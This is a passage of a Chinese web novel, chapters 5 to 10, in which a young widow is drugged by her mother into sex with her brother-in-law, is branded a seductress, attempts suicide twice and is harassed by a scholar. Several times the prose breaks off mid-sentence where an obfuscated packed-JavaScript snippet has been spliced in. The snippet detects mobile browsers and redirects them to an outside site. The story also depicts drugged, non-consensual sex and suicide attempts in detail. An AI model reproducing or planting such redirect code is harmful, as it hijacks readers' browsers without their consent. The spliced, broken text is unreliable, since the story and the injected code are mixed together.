周枭心底怒笑,推翻先前对弟媳的印象,“那你说你为何会在我屋里头?” 卫瑜然愣怔片刻,眼前闪过娘给她煮的茶汤,她就是在喝了这碗茶汤之后变得不省人事。结合先前娘亲说过希望她嫁给周大哥的想法…… 她和大哥错误结合的原因呼之欲出—— 娘,你为什么要这么对女儿…… 卫瑜然潸然落泪,面对男人的质问,她张了张口,痛苦于她无法解释这是她亲娘下的药。 “妾身不知道,大哥你相信妾身……” 卫瑜然含泪摇头,希望周大哥能理解这不是她的初衷,她根本没有勾引大哥的想法。 空气中弥漫着一股荒糜的味道,卫瑜然几欲作呕,觉得恶心,她愧对死去的夫君。 眼前的女子,虽是丧夫,但终究是才十八年华,满头青丝散开,腰窝上几道触目惊心的大手揉捏过的指痕,平添了几分凌乱,可模样却又是不可方物的娇艳,即便是泪水涟涟,也依旧美得出众,美得惹人生怜。 胸前樱桃红如血,随着呼吸仿佛一把勾魂镰子,能将所有男人的命都勾去。 周枭二十多年来气血方刚,从不近美色,于他而言美色就如精神之敌人,只须臾便能将人所有的毅力和坚持全部瓦解,耽于女色的男人,注定难成大事! 然而这一刻……他像被人勾去了神魂那般,有片刻的失神。 在失神中,他看见卫瑜然厌弃般搓去手腕上的痕迹,还有膝盖上流淌凝固了的玉露,她通通都想试图抹去、消灭。 没来由的,一股恼意不知从何升起,周枭大步朝她走去,单膝蹲下,一把将人手腕扣住。 卫瑜然冷不丁被人提起手腕,男人粗狂魁梧的身影堪比铁锋野岭般笼罩下来,带着奔涧鸣雷的气势,眼神凌厉,似要把她刀剜。 突 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叫李勇的侍卫当即应声进屋,“周统制有何吩咐?” 周枭负着左手扫了眼这人,沉声质问:“你们中途有人离开了?” 李勇顿了顿,将午时帮二少奶奶的亲娘追回荷包的经过一五一十说了出来。 话落,屋里安静得过分,李勇战战兢兢,心头绷紧一根弦,擅自离岗,放在哪里都是违纪,而周统制在军营里一向军纪严明,他几乎可以预料到处分的结果了。 周枭听完后,眉心一蹙,越发认定是弟媳故意献媚,真是好一招调虎离山,小小年纪,心思竟如此深沉。 一女侍二夫,也就这种女人想的出来。 周枭为弟弟感到不值,娶了个这样的女人,心里唾弃不已。 “下去吧。” 李勇诧异周统制竟然没有罚他,“是。”正要离去,不料周统制又叫住他,“等等,今日你们听到的看到的,休得非议。” 这话的意思便是要他们忘了今日的事情,禁止妄加非议。 李勇应声前想起方才那个从周统制屋里跑出来的衣衫不整的人影,难道二少奶奶和周统制真的…… 6. 第 6 章 落霞倾泄在窗棂之上,天色渐晚,几声布谷鸟凄厉啼叫自远处传来。 绿樱忐忑不安地站在门外,二少奶奶已经在屋里头哭了一个时辰。 她知道,这事是她做错了,可她若不照做的话,估计连死都不知道怎么死,朱姨娘不会放过她的。 可是…… 绿樱神色黯了下来,她把二少奶奶送到周统制的房里后,其实在外面等了一会,期间她抱了侥幸,希望二少奶奶能躲过这一劫。 然而,上天终究还是没听到她的祈祷,还未等她为二少奶奶向上天祈求,屋内就传出了二少奶奶的吟口耑之声。 二少爷才刚去世不久,就让二少奶奶和周统制做这种有违人伦的事,朱姨娘,你实在太狠心,你让二少奶奶以后如何自处…… 绿樱叹了口气,转身去准备热水,进了屋,备好洗沐的事宜,小心翼翼撩开珠帘,轻声喊道:“二少奶奶,洗沐热水煮好了。” 没有回应,就连啜泣泪阑干的哭声也消失了,绿樱试探踏入寝室,随着走近,只看到一个纤细柔弱的背影趴在床榻边,衣衫单薄,鹅颈修长,悲戚无神地枕在玉臂上,犹如一幅仕女落泪伤感图。 玉容月貌上挂着两行哭干的泪水,绿樱内心也是十分心疼,二少奶奶尚未出嫁前,她就被朱姨娘从牙子手上买回来,跟了二少奶奶三年,直到今年二少奶奶成婚,她作为陪嫁丫鬟也一同跟了过来。 原以为来了周家,以后的生活会好起来的,没想到二少爷就这么突然离去,烂摊子全都丢给二少奶奶,彼时二少奶奶也不过才十八岁。 虽说十八岁的姑娘在世人眼里已经是老姑娘了,但二少奶奶并不这么认为,她和二少爷相识相知相爱,认认真真经营这段感情和婚姻,得到了所有人的尊重,然而今日这事一出……周统制以后不知如何看待二少奶奶。 这件事最终会传成什么样,她也是不敢想的。 她只心疼二少奶奶平白无故遭遇了这种事,连个叫冤屈的地方都没。 不忍看她这样消沉下去,绿樱上前扶着她到盥洗木桶旁,好不容易将人扶进桶里,绿樱默默拿起澡巾给二少奶奶洗沐。 然而洗着洗着,身上的一些痕迹和淤青她不敢直看,二少奶奶又是在催情的状态下……绿樱实在不敢想象当时到底发生了什么。 她想说点什么安慰一下,话到了嘴边却又怕引起二少奶奶想起不好的事。 绿樱干脆闭上嘴,埋头搓澡。 半个时辰后,绿樱哄着人从里面走出来,再给擦干身上的水珠,最后穿上衣衫。 二少奶奶仍然一副丢了三魂七魄的样子,这件事对她打击太大,绿樱扶她到床边,让她睡下,好好休息。 从房里退出来,绿樱刚走两步,忽然猛地听到一声重重的撞击声,随后便有什么重物跌落在地上。绿樱猛然反应过来,折返回去,看到地上撞墙寻死的二少奶奶,顿时失声尖叫。 叫声划破夜空,等她回过神来,她才后知后怕地往屋外跑去喊人。 “快来救人啊——” 绿樱奔跑在连廊上,刚要穿过拱门,险些和周统制撞上,好在她及时停下。 “周、周统制——” 绿樱见到脸色阴沉的周枭,下意识发抖,生怕被看穿今日之事,也有她参与的份。 周枭不知她所想,见她呆若木鸡,连话都不会说,厉声呵斥:“到底发生何事?” 绿樱被这一声呵斥叫醒,终于回了神,颤颤巍巍说:“二少奶奶刚刚撞墙寻死!周统制请您快去救救二少奶奶吧——” 话音刚落,眼前高大身影已经掠过眼尾,绿樱错愕噤声,她还以为周统制会盘问她原因,不等她细想,周统制已经进了屋,绿樱赶忙跟上去。 待她气喘吁吁赶到门前,犹豫着要不要给二少奶奶寻个借口,刚要张口,就看到周统制抱着二少奶奶从屋里出来,风驰电挚再一次从她面前掠过。 掠过那一瞬,绿樱捕捉到二少奶奶额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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婉转娇啼的嗓音仿佛就在耳边呢喃,那双葱白纤手搂过脖颈带来的肌肤接触,一下接一下的紧密颠簸……统制将军紧抿薄唇,不发一言,继续盯着车帷,过了会,又忍不住看回眼前的女人。 下午的衣衫裙襦换了,身上有茉莉皂角的芬香,看样子是洗沐过了。 这个认知冒出来,顿时想起下午在他屋子里,这个女人装模作样试图抹去痕迹的一幕。 周枭面色沉下来,冷笑一声,真是天生的狐媚子,净会作戏。 7. 第 7 章 慈医馆。 李勇和周统制在医馆大堂外等。 身着长袍的大夫给卫瑜然把过脉,确认只是晕厥,尚未伤到要害后便让人着手清理额上伤口和血污。 随后开药方,一边叮嘱绿樱要带回去熬煮,饭后服用。 绿樱跟在大夫身后,担心问道:“大夫,这个伤口会不会留疤?” 大夫从诊房出来,在药柜前抓取药材,“会。” 绿樱赶忙追问:“那大夫可有什么办法消去?我们家二少奶奶可不能毁了容。” 若是还毁了容,外面街上的碎嘴估计又要编排二少奶奶了。 大夫迟疑了片刻,想了想,“倒是有一瓶缠丝玉露可治瘢痕。” 绿樱喜出望外:“那太好了,麻烦大夫取出来吧。” 大夫犹豫:“一瓶缠丝玉露要五两银子。” 绿樱僵住,听到这个价格,话都说不利索,“五、五两银子?!” 大夫无奈:“这缠丝玉露是从高丽商贾手中买来的,价格自然不便宜。” 绿樱仍觉得贵如天价,这可是五两银子,二少爷当廪生时尚未有俸禄,只是会发放粮食,免除徭役,家中只剩下周长史老爷留下来的一些遗产给兄弟两,据说周统制还会每月往家里寄回部分俸禄,以供家人开销。 就连二少爷成亲时,娶二少奶奶的开销中也有相当一部分是来自周统制给予的礼金。 这是二少奶奶管家的时候,和她闲聊时偶然提及的。 她相信二少奶奶手头上应该有五两银子,但这个节骨眼上,二少奶奶还在昏迷不醒,即便是醒了,也未见得二少奶奶会在这个关头花五两银子买一瓶消抹瘢痕的药。 绿樱急得发愁,而就在这时—— 腰配大刀的李勇突然进来,在台面上重重搁下五两银子,语气不容置疑道:“劳烦大夫将缠丝玉露拿出来吧,周统制说了周家的人不缺这点钱,下回二少奶奶若是仍需要,尽管拿出来便是!” 大夫探头看向外堂的人,单背影便可窥见习武之人才有的威严,后知后觉反应过来这周家并非只剩下那个寡妇,还有周长史的大儿子周枭。 见来人不可小觑,大夫自然也不再顾忌这周家寡妇能不能付得起昂贵的药价,转身将缠丝玉露取了出来,收了药钱和诊费,连同药包一同递出去。 绿樱回到诊房里,惊喜二少奶奶醒了过来,“二少奶奶,你差点吓死奴婢了!” 卫瑜然在她搀扶下坐了起来,闻到周遭有药材香,不禁疑惑:“我这是在哪儿?” 绿樱忙说:“这是在慈医馆,大夫已经给您看过了,二少奶奶你可千万别再做傻事了。” 傻事…… 卫瑜然看着面前的丫鬟,想起自己撞墙寻死的根因,脸色白了又白,甚至眼眶又开始无端发红。 绿樱见状,知道她定是又想起了今日之事,犹豫了会,只能干巴巴提醒:“二少奶奶,我们还在慈医馆。” 这话另一个意思便是,有外人在。 周家的脸面,亡夫的脸面,卫瑜然得护着,不能让外人看了笑话去,于是在绿樱的搀扶下硬撑着走出诊房,朝大夫道了声谢。 走到外堂,一打眼便看到那魁梧粗壮的背影,卫瑜然忽然攥紧手帕,迟迟不敢动。 那声“荡/妇”还历历在目。 那些罔顾人伦的画面,还在提醒她有多不堪。 李勇率先注意到她们,喊了声二少奶奶。 周枭负手在背,闻言,迟疑转过身,回头一望,就这么与相隔十丈之远的女人对望。 呵,狐媚子醒了。 这还是她从他屋里头跑出来后,首次衣冠整齐地与自己对视。 慈医馆外堂此时没有旁人进出,在这份沉寂的气氛中,周枭与这个狐媚子静然对视,天地间仿佛只剩下他和这个女人。 这女人一手攥着帕巾垂落身侧,另一只手则被丫鬟扶着,神情微敛,喜怒不显,端得好一副二少奶奶的姿态。 眼神扫过来时,眼尾有些许红,怕又是提前作了戏给自己看。 周枭内心冷嘲,主动移开目光,往马车大步走去,侍从立即跟上。 周枭移开目光那刻,卫瑜然亦支撑不住在同一时刻偏过脸,神伤望向角落,雪白鹅颈绷紧,用力缓解那份不堪与痛苦。 绿樱察觉她细微情绪在翻涌,死死克制着,她心疼地轻声唤道:“二少奶奶,我们回去吧。” “……嗯。” 马车前,李勇单膝跪下为二少奶奶放下马凳,立于一旁,卫瑜然踩上马凳,弯腰进入车舆,看都没看一眼站在马车另一边的男人。 此次返程,马车行进平稳不少。 半盏茶的功夫,便回到周宅。 卫瑜然在绿樱搀扶下下了马车,往凝香阁走去,李勇驾着马车前往车厩,原地只剩周枭沉脸盯着离去的背影。 - “二少奶奶,奴婢先去熬药了,您先歇会,可千万别做傻事了。”绿樱临走前不放心,叮嘱两句。 人走了,偌大的凝香阁显得空荡寂静,安神香点着,淡淡檀木熏香弥漫在寝室里。 卫瑜然仿佛没了力气,双眸空洞洞地拢了拢裙裾,缓缓坐到楠木圆凳上,失神看着铜镜里的女子。 直到现在她还是无法接受自己和大哥做了那种事。 她也想叫屈,想为自己申冤,她卫瑜然并非是不知廉耻的女人,可……朱琇云是她亲娘。 是那个有一口吃的,都会留给女儿的亲娘。 九岁那年,她和大娘子生的长姐、三弟一同玩耍,三弟不小心掉进池塘里,险些溺毙,所有人都指责是她把弟弟推了下去,任她怎么解释都没有用,大娘子更是骂她贱蹄子,谋害亲弟,爹爹勃然大怒罚她跪祠堂。 只有娘相信她,苦苦替她求情,那天的雨有多大呢,她跪祠堂,娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459141|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲跪在大娘子门前,母女俩双双倒下。 娘曾说过她不强求怀一胎儿子争宠,女儿也是心头肉,她以为这世上只有娘是最爱自己的人,可是…… 泪水无声无息盈满泪眶,卫瑜然神情哀婉抬起细白手腕,轻轻抹去脸颊上的泪,从妆奁摸出一支簪子,正当她狠心割腕时—— 一只粗粝的手将她手腕扣住,啪嗒一声,簪子掉落地上。 而卫瑜然整个人也失去平衡,往男人的方向倒去,另一只手下意识撑在男人结实的腰腹之上。 她错愕昂起头,又冷不丁撞上周统制不怒而威的眼神,眼睫一颤,这个人身上的气势太过强悍,野岭般的气息毫无防备扑面而来,如此近的距离,强迫她想起那些交合的画面,任她怎么压都压不下去,深深刺激着她。 一刻钟前,周枭准备回自己住处,却又想到那个狐媚子试图用性命来搏自己的怜悯不成,必定会有下一动作,没曾想一过来当真又看到她打算自我了结。 周枭气极反笑。 “狐媚子,又要作戏给谁看?” 男人怒气一沉,嗓音浑厚中气十足,让人不寒而栗,而话语间又夹杂讥讽,看起来格外不近人情。 手从男人桎梏中挣脱开,直到与大哥保持着距离,卫瑜然才堪堪将那些画面压下去,听到“狐媚子”三字,脸上血色全无,她不是狐媚子,她也没有作戏,为什么大哥就是不相信她? 欲张口解释,然而当目光触到周枭眼里的冰冷,她霎时止住了所有解释的欲望,就像当年她解释不是她推弟弟落水那样,没有人会相信她。 大哥也不会相信她是无辜的,他也只会认为自己不知廉耻,是勾引大哥的荡/妇。 卫瑜然又开始感受到当年那股百口莫辩的窒息感,一股深切的无力感从心底翻上来,眼眶酸涩得厉害。 可她越发清醒,微垂着眸,“妾身已是不洁之人,对不起夫君,对不起所有人,妾身恳请大哥……让我下去陪夫君吧。” 除了以死谢罪,她没有别的法子了。 看她从自己手中挣脱出去,到装模作样自怜自艾,周枭眉心微蹙,神情几番变换,呈现出难以识别的复杂之色。 “卫氏,你以为你自寻短见去陪他,就能得到阿聿的原谅?” “还是你想让我周枭背负上一条逼死弟妹的罪名?” 闻言,卫瑜然猛然抬头,下意识想反驳,却又在触及男人眼里的不信任之后,任由百口莫辩的窒息感扼住喉咙,眸底渐渐凝聚起雾气。 她哑声问:“妾身要如何赎罪才能得到原谅……” “也就是阿聿不幸才没认清你的真面目,把你娶回来。” 周枭看到女人的眼泪就头疼,已经不想再看到这个狐媚子惺惺作态,与妇人争口舌属实不是他作风。 “既然你还有点良心,那就用你后半辈子忏悔,若是再寻死,休怪我将朱氏押过来认罪。” 8. 第 8 章 绿樱熬好了药汁,端过来时,在廊道上迎面遇上从二少奶奶房里走出来的周统制。 她一惊,在周统制经过时,赶忙屈腰作了一揖,待人走后,才匆匆端着药汤过去。 “二少奶奶,喝药了。”绿樱在雕花圆桌上搁下一碗飘着药香的汤碗,走过去唤道:“二少奶奶?” 卫瑜然从梳妆台前站起,来到桌前,“这汤药苦吗?” “不苦不苦,奴婢放了蜜饯。” 绿樱见二少奶奶素手端起碗喝尝了尝,心刚要放下一半,蓦地瞥见二少奶奶低眸时,眼尾残留着淡淡洇红,像是哭过了。 她当即想起方才碰见周统制,也不知周统制方才对二少奶奶说了什么。 “二少奶奶,等过两天伤口结了疤,就用那瓶缠丝玉露消去瘢痕,是周统制掏钱买的,花了五两银子呢。” 绿樱心想,这五两银子可贵了,普通人家一天也就挣一百来文,一个月下来也才3贯钱,而五两银子足足10贯钱,三个月不吃不喝才能攒下来。 卫瑜然搁下碗,对绿樱的话并没有放在心上,“我先去歇息,明日开始,饭食清淡些,不必为我准备肉糜。” 既然大哥让她忏悔赎罪,那她便从吃素斋开始,以身作则。 “明日再准备些香油钱,随我去庙里一趟。” "是,二少奶奶。" - 夜半山静,月明星稀。 白日里的跌宕起伏,哭笑怒骂,在这一刻随着寂静的夜色渐渐沉寂下去。 窗外风掠过树梢,屋内檀香安神。 卫瑜然额间冒出了冷汗,一阵冷一阵热,她做了个梦,梦到自己在灵堂上为夫君守灵时,大哥身披盔甲从群山叠嶂中驾着一匹黑马,疾驰而来,利落翻身下马,直奔灵堂。 却不是为弟弟吊唁,而是直奔她而来,裹挟着浓郁的肃杀之气。 将她抵在墙上,进入,丝毫不顾她的抵触和提醒,亡夫的遗体就在她面前,而她却毫无力气反抗,双手只能无力地抵在冰凉的金鳞甲上。 哭干了泪水,也得不到半点怜惜。 画面再一变,她在大哥的屋里头,趴在雕花圆桌上,任人摆弄,神智是昏沉而迷乱的,她全心全意以为身后是夫君,没想到半睁开眼时,却看到夫君的灵魂站在她面前,一脸失望悲恸看着她。 而她受到惊吓似的,意识到身后并不是夫君,而是另一个男人,含泪欲挣扎起来,却被人触碰到更深的地方。 纤薄背姿被一只大手压住,她撑不起来,却又无法忽略那些反应,惊魂失魄之间脑海掠过娘给她喝的茶汤,她忽然什么都明白过来,脸庞巍巍颤颤枕在圆桌上,桌面的冰凉抵不过炽热,最后……最后她在一层又一层的颠簸中认命地闭上眼,眼尾溢出热泪。 卫瑜然在一个个噩梦中惊醒,醒来背后沁湿亵衣,窗外已经能窥见晨色,约莫差半盏茶的功夫便会天光大亮。 概因神耗心瘁得厉害,她在床上缓了许久,才喊来绿樱为她准备热水,自从嫁入周家,她晨间一直有洗沐的习惯。 院子里的荷塘被周统制请人清了淤泥,残荷早已不见,倒是挖出来不少莲藕。 趁着二少奶奶洗沐时,绿樱做了份清甜的藕粥端过去。 辰时之央,绿樱便跟着二少奶奶坐上马车,前去庙里祭拜。 不巧的是遇上庙会,香客众多,摊贩如云,货摊林立,马车停在树下,还要步行数十丈方至。 她们前脚刚走,后脚二婶柳红叶便带着两个孩子来庙会逛逛,被吵得实在受不住,她便一人给了五文钱,孩子们有了例钱,高兴钻进摊贩堆里,兴高采烈商量着买冰糖葫芦还是买新话本。 其中一个孩子年纪稍大一些,约莫十五岁,他将弟弟唤去买冰糖葫芦,把人支走后,鬼鬼祟祟走向一个话本货摊,不太自然地环顾四周,低声耳语一番,摊贩顿时了然,从木箱里掏出一本香艳话本。 为避免被发现,他又买了本民间故事集,两人一手交钱一手交货。拿到书后,哥哥当即走到一马车后,面红耳赤翻阅起来。 直到柳红叶大着嗓子喊人,哥哥被吓一跳,眼见柳红叶发现他在这边,手上的话本必定会被发现,情急之下,哥哥将话本随手抛进一辆马车内…… - 卫瑜然捐了香油钱,跪在佛祖面前诚心诚意忏悔,她和大哥的事并不是她有意为之,希望能够用这份忏悔赎背德之罪。 从庙里出来,绿樱询问她:“二少奶奶,您看,这庙会多热闹呐,咱们要不要逛会庙会再回去?” 卫瑜然侧眸看了她一眼,她如今哪有心思逛庙会,摇了摇头,“回去吧。” 绿樱也只好跟着回去,只是在上马车前,遇到郝才捷。 卫瑜然看到郝才捷并无好脸色,正当她忽略而过时,郝才捷喊住了她:“二少奶奶,请留步。” 卫瑜然一顿,察觉到郝才捷相比上次直呼她名,这次倒恭敬喊上二少奶奶了。 郝才捷对于上次被周枭教训一事,到底还是有些忌惮,不过今日在庙会遇上卫瑜然,这女人艳逸瑰姿仍旧刹那间击中他心头,几日不见,这娘们倒添了几分妩媚气韵,莹玉肌香,勾得他心思难耐。 “可否借一步说话?”郝才捷看了眼丫鬟绿樱。 卫瑜然并不打算理会。 郝才捷似乎料到她的态度,在她走之前笑道:“周贯聿生前曾写了封信给你,托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“放开!”卫瑜然努力挣脱,拧眉呵斥:“非得逼我喊人?!” 郝才捷丝毫不将她的威胁放在眼里,伸手去夺,不料余光瞥到一个身高马大的身影迅捷穿过人潮往他这边走来。 是周枭! 又是他! 郝才捷没忘记上次被揍到吐血的情景,更何况他现在还未完全恢复,被悍鹰抓伤的手臂至今还阵痛,再被他打一拳,不死也没半条命! 郝才捷心头一颤,迅速放开卫瑜然,拔腿就往山下跑去。 等到周枭赶来时,已经只剩下一个狼狈落跑的背影。 卫瑜然如临大赦松了口气,赶忙察看手中的信有没有破损,迫切地想阿聿生前给她写了什么东西,丝毫不察身旁男人冷沉下来的脸色,以及耐人寻味的怀疑目光。 9. 第 9 章 今年开春,周枭奉命带队前去犹州平定叛乱,几番战略下,顺利剿寇,而在清点人数时,发现少了两个人,即使在犹州知州的全城通缉下,仍没抓获,毫无线索。 后来有人说在锦州见过这两人,五月份锦州发生多起抢夺财物盗窃之事,大都发生在集会、庙会等人多眼杂的市集上,一人抢掠,一人扰乱视线,锦州知州为此头疼不已。 这次吊唁回来,二弟下葬后没几天,周枭就收到锦州知州的求助函,希望他能阻力解当下困局。几人在酒肆喝酒,一番交流下,周枭忽然将此前种种线索联系起来,怀疑在锦州作乱的那两人正是他在开春平定叛乱时,无缘无故消失的两名流寇。 周枭当即派人在几个大型集会上乔装蹲守,这次正好在庙会上捕捉到这两名流寇的踪迹,暗中比对了通缉令画像,果不其然就是当初那两名离奇失踪的流寇。 在对方将要作案之际,几个侍卫一举上前拿下,没有引起骚乱,周枭对这次行动十分满意。万万没想到,押人撤离时,撞上他那位自称会好好忏悔赎罪的弟媳,正和那个穷酸解元郎光天化日之下拉拉扯扯。 他怒火三丈上前抓奸,人倒是看到他就跑了,只剩下这位狐媚子在原地,还毫不在意被人发现,旁若无人当着他的面看情郎写给她的情书。 信封没有受损,卫瑜然心里踏实了许多,打算上了马车再拆,没想到刚转身,险些撞上男人结实的胸膛。 卫瑜然稍微后退两步,直到和眼前人保持着应有的距离,这才抬眸看向男人冷沉的神色,稍一思忖,心中便了然。怪不得郝才捷会突然撤手离开,原是看到了大哥。 她没忘记当初在为亡夫守灵时,郝才捷被悍鹰抓伤手臂,接着又被大哥揍得口吐鲜血,胸骨重伤,连夜被管家送去医馆救治。 在那件事上,她是感激大哥的,大哥也爱护且信任自己这位弟媳,所以才会合力一起将郝才捷赶出去,他们本来是以礼相待,互相敬重的家人,然而一切都在那件事之后,彻底变了。 大哥误会她是不知廉耻的荡/妇,而她无力解释,有了肌肤之亲之后,她也再也做不到如当初那般视大哥为长辈。 她甚至并不想看到这个人。 他的气息太过强烈,像烙印一样刻在她身上,甚至神智深处,洗涤不去。昨晚的梦总是如影随形在她脑海里重现,让她难受,胸膈作恶。 她能撑到现在,已经是耗费了巨大精气神。 “多谢大哥替妾身解围。” 尽管这个男人方才帮了忙,卫瑜然仍然不想和他有过多牵扯,垂下眉眼,作了作揖,准备上马车。 弟媳和情郎私下拉扯,你侬我侬,还收了别人的情书,竟然一句解释都没有,周枭长这么大,第一次见如此不知羞耻的女人,一时胸中气结。 “狐媚子,你还知不知你是周家媳妇?!” 她一介寡妇,虽说夫君不幸去世,可她头上可还顶着他二弟媳妇的头衔,这三街六巷谁不知她卫瑜然是他们周家的媳妇? 和别的男人拉拉扯扯,成何体统?! 周统制这么一呵斥,头顶树梢上惊飞几只麻雀,引得绿樱神色紧张看过来。 而十丈之外,四名侍卫押着两名流寇,严阵以待站在原地,也略微听到一些声响。 绿樱离得近,她听得清清楚楚,二少奶奶被周统制怒骂狐媚子,质问她还记不记得自己是周家媳妇,这话一出,绿樱便知道周统制误会了二少奶奶。 肯定是周统制误以为二少奶奶刚刚和解元郎有不轨之事。 绿樱急得上前为二少奶奶解释,“周统制,您误会二少奶奶了,二少奶奶方才绝对不是您想的那样。” 她顾不得身份尊卑,心疼二少奶奶被如此误会,“方才是郝解元过来找二少奶奶,自称有二少爷写给二少奶奶的信!所以二少奶奶才答应和他说上几句话。” 绿樱并不知两人私下讲了什么,更不知郝才捷对卫瑜然提出下流卑鄙的要求。 闻言,周枭意识到可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459143|141652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能误会了,看向眼前的女人,瞥到她纤手中拿着的信封,抬手握紧她不盈一握的手腕,将女人掌心轻握的信封翻转过来。 直到确认上面确实是二弟的字迹,周枭抿着唇,沉默良久,欲言又止,余光瞥到眼前的女人一言不发,偏过脸冷淡疏离的神情,似乎连看都不想看到自己。 周枭内心无端升起一股不舒服,他压下去冷声质问:“既然他给你送的是二弟的信,为何要当街与他拉拉扯扯?成何体统?” 皓腕一直被扣住,卫瑜然能感受到他指腹上的粗粝,一瞬间将她拉进了昨天模糊朦胧的记忆中。 习武之人,手掌比旁人粗糙些很正常,不正常的是这只手在她身上抚摸过多处。 甚至揉捏了——不该揉的地方。 卫瑜然绷紧鹅颈,深呼吸,努力克制自己不去想,颇有些自我厌弃道:“是,大哥教训的是,妾身谨记在心。” 意欲断掉所有接触,她急着挣脱掉那只大手,幸好对方没有进一步为难自己,卫瑜然径直往马车走去,边喊道:“绿樱,我们回去。” 绿樱应声:“欸,好!” 绿樱搀扶她上马车,卫瑜然站在车辕上,掀开车帷正欲进去,却在下一瞬花容失色,边尖叫边后退。 不料,忘记此刻站在车辕之上,后退一步倏然踩空,整个人往后倒去。 一旁的绿樱惊慌失措,“二少奶奶!” 千钧一发之际,一道高大身影出现,一把搂住从车辕上跌落下来的卫瑜然。 不盈一握的细腰被结实有劲的手臂环住,后背紧贴着一副挺拔强健的武将身躯,硬邦邦的胸膛和昨日迷乱时摸到的触感一模一样。 周枭比她高太多,她的双脚并不着地,裙裾在空中晃了晃,与她一双云头锦履轻轻撞上男人的小腿。 手中的信跌落在地上,飘到绿樱脚边。 “发生什么事?” 周统制孔武有力的嗓音,在这一刻莫名穿透卫瑜然惊慌后怕的心脏。 10. 第 10 章 卫瑜然自小就被家里教导男女大防,女孩子家不可出格,因而,即便是后来与夫君相识,也只敢互送信物,克己复礼,从不与别的男子有任何牵扯。 嫁到周家后,她以为这辈子安安分分当她的二少奶奶,陪伴周贯聿读书考学就足够了。刚成婚那会,人人都羡慕她不用侍候公婆,周长史家有田宅数十亩,有部分是大哥在外从军立军功,官家授予的。周长史夫妇生前乐善,租给百姓耕耘的田产和闲置房屋只收取比市价更便宜的赁钱。 虽说周家家底比不上那些富得流油的富商,但日子也算过得不错,起码不用在钱财上烦心。而大哥也没有娶妻妾,更没有三姑六婆常来往嚼口舌。等周贯聿考个官,她未来还能当个官夫人。 这是她原本想好的道路,也是她能抓住的最好的命运,因此嫁作人妇后,她也更加检点自己,不让自己犯错。 她知道自己模样身段都不赖,成亲前就有人不少男子对她示好。所以她从未留下过任何把柄和污点。 但……自从夫君去世后,她就隐隐察觉到情势有些不受控,往着她料想不到的方向展开。 先是被郝才捷灵堂上羞辱,后又被迫和大哥荒缪结合,再到庙会上被郝才捷用信换取快活一晚威胁,如今她又因受惊吓,而被大哥单手搂在怀里。 不知是不是因为大哥是习武之人,不拘小节,她记得哪怕是夫君生前,也没有像大哥这样当街搂人。 后背隔着薄薄布料和大哥结实的胸膛相贴,熟悉而强势的野岭气息很快侵袭过来,迅速包裹着她,如同那梦里一般,一寸寸侵染她裸\露在外面的全部肌肤。 悬在半空的裙襦,上好丝绸裁制,她感觉到有个令人害怕的轮廓,只隔着薄薄布料,贴着她后方。 卫瑜然眼睫一颤,结合昨晚的梦,和真实发生过的回忆,那从后面捣弄的举动……她单是想想便不寒而栗,还有内心深处的痛苦。 周枭刚将人放下,卫瑜然受了惊似的快速后退离他远一些。 周枭神情眯起来,这女人怕他比怕马车内的东西更甚,这样的情况下,都时刻不忘与他保持距离。 绿樱上前扶着卫瑜然,忙问:“二少奶奶,马车里到底有什么,让您这么害怕?” 卫瑜然扫了一眼周枭,微微侧目看向自家丫鬟,努力保持冷静道:“有蛇。” 绿樱顿时害怕得高声大叫:“蛇?!” 卫瑜然点头,抬眸看向已经来到车辕前的男人,他右手提着一柄大刀,神色冷静,利落脱去刀鞘,刀尖慢慢挑开车帷。 她们两个女子赶忙远离,生怕里面的蛇蹿出来咬人一口。 马车内立着一条黑质白章的五步蛇,矗立在车舆内,两尖牙张开,毒性猛烈。 在其蹿出来之际,周枭神情一凛,腕骨轻转刀柄,刹那间刀光一闪,凌厉劈下去,五步蛇顷刻间被劈成两半。周枭自入伍以来,为平定叛乱,在战场上厮杀过,为追穷寇,踏过湍流,穿过深山野林,对付这种毒物根本是家常便饭。 因而,他深知即便砍成两半也未能完全消灭它的攻击。 当被砍断的半截蛇/头飞向卫瑜然刹那,周枭眼神陡变,手腕迅捷反握刀柄,劈刃势如破竹劈下,彻底将五步蛇从头到尾劈成两半,啪嗒两声摔落地上,彻底断绝气咽。 卫瑜然和绿樱早在看到那半截蛇头飞身过来时,就已经呆滞僵住,无法反应,直到周统制的刀离她不到半臂的距离前,雷厉风行挥刀劈蛇。 那刀口准度,就连她见过的最骁勇善战的弓箭手都比不上。 若是差这么半寸,刀口没有劈到蛇身,此刻的她估计已经遭受毒蛇的殊死一击,命丧蛇口。 卫瑜然失神看着立在她面前的高大将军,他手中握着柄重刀,刀身宽阔,刀刃散发着寒光,这一刻她才堪堪见识到这个男人属于武将身上才有的杀伐果断。 